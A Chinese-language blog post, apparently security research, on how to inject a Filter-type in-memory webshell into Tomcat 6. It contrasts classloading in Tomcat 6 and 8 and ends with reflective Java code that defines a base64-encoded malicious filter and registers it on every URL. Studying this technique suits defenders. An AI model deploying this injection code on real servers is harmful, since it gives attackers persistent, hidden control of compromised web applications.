Java安全之Tomcat6 Filter内存马问题
Zh1z3ven 人气:0回顾Tomcat8打法
先回顾下之前Tomcat789的打法
这里先抛开 7 8之间的区别, 在8中,最后add到filterchain的都是一个filterconfig对象
ApplicationFilterConfig
包含了FilterDef
对象
构造方法如下,如果当前filter属性为null会从FilterDef
取filter的实例对象
ApplicationFilterConfig(Context context, FilterDef filterDef) throws ClassCastException, ClassNotFoundException, IllegalAccessException, InstantiationException, ServletException, InvocationTargetException, NamingException, IllegalArgumentException, NoSuchMethodException, SecurityException { this.context = context; this.filterDef = filterDef; if (filterDef.getFilter() == null) { this.getFilter(); } else { this.filter = filterDef.getFilter(); this.getInstanceManager().newInstance(this.filter); this.initFilter(); } }
FilterDef
中存储了filterClass
/ filterName
/ filter
属性
public class FilterDef implements Serializable { private static final long serialVersionUID = 1L; private static final StringManager sm; private String description = null; private String displayName = null; private transient Filter filter = null; private String filterClass = null; private String filterName = null; private String largeIcon = null; private final Map<String, String> parameters = new HashMap(); private String smallIcon = null; private String asyncSupported = null; public FilterDef() { }
再有就是createFilterChain
中还涉及到filterMap
FilterMap
里主要存放urlpatterner和filterName的映射
public class FilterMap extends XmlEncodingBase implements Serializable { private static final long serialVersionUID = 1L; public static final int ERROR = 1; public static final int FORWARD = 2; public static final int INCLUDE = 4; public static final int REQUEST = 8; public static final int ASYNC = 16; private static final int NOT_SET = 0; private int dispatcherMapping = 0; private String filterName = null; private String[] servletNames = new String[0]; private boolean matchAllUrlPatterns = false; private boolean matchAllServletNames = false; private String[] urlPatterns = new String[0];
tomcat8下注入filter内存马流程如下:
- FilterDef: 设置
setFilter(Filter filter)
setFilterName(String filterName)
setFilterClass(String filterClass)
这里filterName和filterClass应该不是一个东西,最后调用StandardContext#addFilterDef
将该恶意filterdef put到this.filterDefs
- FilterMap:
addURLPattern("/*")
setFilterName(String filterName)
setDispatcher(DispatcherType.REQUEST.name())
,最后调用StandardContext#addFilterMapBefore(filtermap)
添加到this.filterMaps
中 - ApplicationFilterConfig: 调用有参构造将
FilterDef
作为参数传递进去后调有参构造实例化一个ApplicationFilterConfig
,最终put进standardcontext的属性里去。
探索Tomcat6与Tomcat8之间的区别
主要看下tomcat6和tomcat8之间createFilterChain
不相同的地方 看到ApplicationFilterFactory#createFilterChain
跟进getFilter
主要代码如下:
所以这里构造filterDef
的时候filterClass
为evilfilter的全类名即可
再来看下FilterDef
可以发现确实在Tomcat6下面没有filter
这个属性了
所以一个很大的区别就是在getFilter
方法,也就是获取filter
实例对象的逻辑:
Tomcat8中是通过filterDef
的属性filter
值来拿到 恶意filter实例
Tomcat6中是通过filterDef
的属性filterClass
属性作为类名,通过ClassLoader去实例化
这里当我们调用有参构造实例化ApplicationFilterConfig
时,会进入getFilter
方法逻辑内
重点看loadClass方法是否可以加载到我们的恶意filter,因为这个filter并不是真实存在,且我们也只是通过了当前线程去defineClass的
跟进WebappClassLoader#loadClass
看到this.findLoadedClass0(name)
从resourceEntries也就是classes下各个包中的.class找,是否有这个类,有的话直接return 这个entry的loadClass属性
这个属性存储的是该类的class对象,如果这里面有该类名,后面就直接resovleClass了
这里肯定是没有我们的恶意filter,继续往下跟
后面直接调用java.lang.ClassLoader#findLoadedClass
来通过ClassLoader去找是否已经加载过该class了
而在这里是直接找到了
查阅开发资料并思考了一下:
这里因为我们之前是通过当前线程上下文加载器把恶意filter给loadClass
了,所以这里就是可以找到的
后面随手翻了下classloader
的属性,发现在classes
属性是存在该filter的class的
那么正好来debug一下当前线程上下文ClassLoader#loadClass
的过程
可以看到当前上下文的ClassLoader就是WebappClassLoader
,并且此时classes
属性里并没有我们的恶意类
而当步过defineClass后,当前线程上下文ClassLoader也就是WebappClassLoader
的classes
属性中就新增了我们的恶意filter的class
所以后续在getFilter
的逻辑中也是可以成功通过
回溯上面的逻辑时,getFilter
方法因为会走到这个else逻辑内,所以最终也是通过WebappClassLoader#loadClass
的我们的恶意filter
以上,所以因为我们前面调用的是Thread.currentThread().getContextClassLoader()
去加载的我们恶意filter类,而tomcat6中getFilter
逻辑是通过this.context.getLoader().getClassLoader();
去findClass,而这两个ClassLoader又同为WebappClassLoader
所以不会存在ClassNotfound
的问题。 所以tomcat6中注入filter内存马就不需要先实例化恶意filter存到filterDef中,直接使用Thread.currentThread().getContextClassLoader()
去defineClass
一下恶意filter即可。
注入内存马的主要代码如下:
Method var1 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); var1.setAccessible(true); byte[] var2 = base64decode("base64 str"); var1.invoke(Thread.currentThread().getContextClassLoader(), var2, 0, var2.length); try { if (STANDARDCONTET != null) { // 1 反射获取filterDef Class FilterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef"); Constructor FilterDefconstructor = FilterDefClass.getConstructor(new Class[]{}); Object filterDef = FilterDefconstructor.newInstance(); // 2 设置filtername Method setFilterNameMethod = FilterDefClass.getDeclaredMethod("setFilterName", String.class); setFilterNameMethod.invoke(filterDef,filterName); // 3 setFilterClass Method setFilterClassMethod = FilterDefClass.getDeclaredMethod("setFilterClass", String.class); setFilterClassMethod.invoke(filterDef,Thread.currentThread().getContextClassLoader().loadClass("HiganbanaFilter").getName()); // 4 addFilterDef Method addFilterDef=STANDARDCONTET.getClass().getMethod("addFilterDef", FilterDefClass); addFilterDef.invoke(STANDARDCONTET,filterDef); // 构造FilterMap Class FilterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap"); Object filterMap = FilterMapClass.newInstance(); Method setFilterNameMethod2 = FilterMapClass.getDeclaredMethod("setFilterName", String.class); setFilterNameMethod2.invoke(filterMap,FilterDefClass.getDeclaredMethod("getFilterName").invoke(filterDef)); Method setDispatcherMethod = FilterMapClass.getDeclaredMethod("setDispatcher", String.class); setDispatcherMethod.invoke(filterMap,"REQUEST"); Method addURLPatternMethod = FilterMapClass.getDeclaredMethod("addURLPattern", String.class); addURLPatternMethod.invoke(filterMap,"/*"); Method addFilterMapMethod=STANDARDCONTET.getClass().getDeclaredMethod("addFilterMap", FilterMapClass); addFilterMapMethod.invoke(STANDARDCONTET,filterMap); // 创建filterconfig 并添加到standardcontext.filterconfigs数组里 Class filterConfigClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); Constructor filterConfigCon = filterConfigClass.getDeclaredConstructor(Class.forName("org.apache.catalina.Context"), Class.forName("org.apache.catalina.deploy.FilterDef")); filterConfigCon.setAccessible(true); // 实例化ApplicationFilterConfig时触发getFilter方法 Object filterConfigObj = filterConfigCon.newInstance(STANDARDCONTET, filterDef); Field filterConfigsField = STANDARDCONTET.getClass().getDeclaredField("filterConfigs"); filterConfigsField.setAccessible(true); HashMap filterConfigsMap = (HashMap) filterConfigsField.get(STANDARDCONTET); filterConfigsMap.put(filterName, filterConfigObj); } } catch (Throwable var16) { var16.printStackTrace(); }
加载全部内容